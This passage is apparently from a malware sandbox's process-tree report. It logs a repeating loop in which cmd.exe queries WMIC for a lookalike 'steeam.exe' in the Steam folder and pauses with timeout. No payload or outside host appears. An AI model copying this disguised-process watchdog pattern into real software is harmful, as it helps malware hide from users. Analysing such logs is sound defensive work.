        PID:1880
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4816
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4772
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3088
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2948
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:812
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3836
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2832
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1448
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3056
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4112
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2336
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3912
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4516
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4524
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4828
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3240
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4624
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1292
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2916
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1552
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3048
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2812
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1628
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3784
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1148
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4992
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1588
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:700
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3164
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4160
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4044
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4100
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4104
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2008
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5112
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3376
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1096
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2332
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3264
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4612
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3028
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:740
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3780
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2216
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2632
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3788
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3528
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:592
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1904
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1540
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2112
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5108
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4968
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1860
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4812
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1648
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1404
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:812
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3088
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1640
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4820
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2464
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:996
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2284
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3976
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3912
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4516
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4636
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2592
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3240
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3932
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:808
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3172
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3248
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3696
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:624
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:884
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1928
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1628
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3784
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3968
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2820
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3680
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1512
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3776
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3644
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2128
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4956
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1812
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3180
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1084
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1784
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:748
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:832
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2628
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3996
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3452
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4932
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4316
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3640
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3416
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2080
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3176
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2656
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4804
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1700
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2248
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2648
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3116
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4552
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2172
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5092
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5040
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4796
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4872
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4772
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3876
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1404
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3880
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4128
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3512
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:620
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2824
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3488
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3976
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:640
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2292
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4004
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:988
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2960
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4196
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3168
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1804
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2196
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1552
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3248
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2344
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4756
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4856
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1928
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1008
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3164
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:452
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1588
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1248
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:916
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3616
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4360
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:1076
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2528
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3376
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4988
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2392
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5116
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4464
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:668
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4336
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2308
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2216
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1428
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:740
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2896
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3856
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3576
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2568
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4720
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1488
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3528
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2632
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2056
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3116
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3660
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5092
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4552
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:116
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5020
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:8
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4796
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1860
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3456
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2884
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3880
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:3632
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4112
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:996
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2236
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2824
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3236
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:2140
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1504
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1788
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3100
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4716
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2960
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4196
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1020
    - - C:\Windows\system32\cmd.exe
        
